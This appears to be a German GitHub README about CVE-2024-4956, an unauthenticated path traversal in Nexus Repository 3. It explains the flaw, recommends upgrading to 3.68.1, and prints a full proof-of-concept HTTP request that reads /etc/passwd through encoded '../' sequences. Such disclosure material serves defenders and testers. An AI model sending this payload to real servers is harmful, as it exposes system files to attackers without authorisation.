erickfernandox/cve-2024-4956Nicht authentifizierte Path Traversal in Nexus Repository 3
Der Nexus Repository Manager ist ein Repository-Manager, der die für die Entwicklung benötigten Artefakte organisiert, speichert und verteilt.
In Nexus Repository 3, in Versionen vor 3.68.1, wurde eine Path-Traversal-Schwachstelle entdeckt. Diese Schwachstelle ermöglicht es einem Angreifer, eine URL zu erstellen, um Systemdateien außerhalb des Anwendungsbereichs der Nexus-Repository-Anwendung herunterzuladen – ohne jegliche Authentifizierung. Dies stellt ein erhebliches Risiko dar, da vertrauliche Systemdateien offengelegt werden können und möglicherweise die Sicherheit der Umgebung gefährdet wird, in der Nexus Repository installiert ist.
Es wird empfohlen, Nexus Repository so schnell wie möglich auf Version 3.68.1 oder höher zu aktualisieren, um diese Schwachstelle zu entschärfen.
Weitere Informationen und technische Details zur Schwachstelle finden Sie unter folgendem Link:
Referenzen:
Die Schwachstelle betrifft die Versionen 3.0 bis 3.68.0 des Sonatype Nexus Repository Managers.
Die Aktualisierung von Nexus Repository ist der empfohlene Ansatz, um diese Schwachstelle zu beheben. Für Bereitstellungen, die nicht sofort aktualisiert werden können, stehen jedoch sofortige Gegenmaßnahmen zur Verfügung:
Referenzen:
GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Mit dem obigen PoC ist zu erkennen, dass auf die Datei /etc/passwd zugegriffen wird:
(CVE-2024-4956.yaml) https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml